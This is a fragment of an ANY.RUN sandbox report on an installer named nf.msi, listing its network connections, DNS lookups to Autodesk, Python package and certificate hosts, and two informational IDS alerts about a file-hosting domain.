System
192.168.100.255:138
—
—
—
whitelisted
2092
msiexec.exe
23.212.211.183:443
bixolabs10.autodesk360.com
AKAMAI-AS
AU
unknown
1956
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2092
msiexec.exe
18.66.97.125:443
cdn.us.oss.api.autodesk.com
—
US
unknown
2784
powershell.exe
151.101.1.55:443
files.pythonhosted.org
FASTLY
US
unknown
2784
powershell.exe
146.75.120.223:443
www.python.org
FASTLY
US
unknown
2784
powershell.exe
104.18.21.226:80
secure.globalsign.com
CLOUDFLARENET
—
shared
2784
powershell.exe
46.228.146.128:80
ctldl.windowsupdate.com
LLNW
US
unknown

DNS requests

Domain
IP
Reputation
bixolabs10.autodesk360.com
  • 23.212.211.183
unknown
cdn.us.oss.api.autodesk.com
  • 18.66.97.125
  • 18.66.97.120
  • 18.66.97.101
  • 18.66.97.9
unknown
files.pythonhosted.org
  • 151.101.1.55
  • 151.101.65.55
  • 151.101.129.55
  • 151.101.193.55
unknown
www.python.org
  • 146.75.120.223
whitelisted
secure.globalsign.com
  • 104.18.21.226
  • 104.18.20.226
whitelisted
ctldl.windowsupdate.com
  • 46.228.146.128
  • 46.228.146.0
whitelisted

Threats

PID
Process
Class
Message
324
svchost.exe
Misc activity
ET INFO File Hosting Service Domain Domain in DNS Lookup (files .pythonhosted .org)
2784
powershell.exe
Misc activity
ET INFO Observed File Hosting Service Domain (files .pythonhosted .org in TLS SNI)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
nf.msi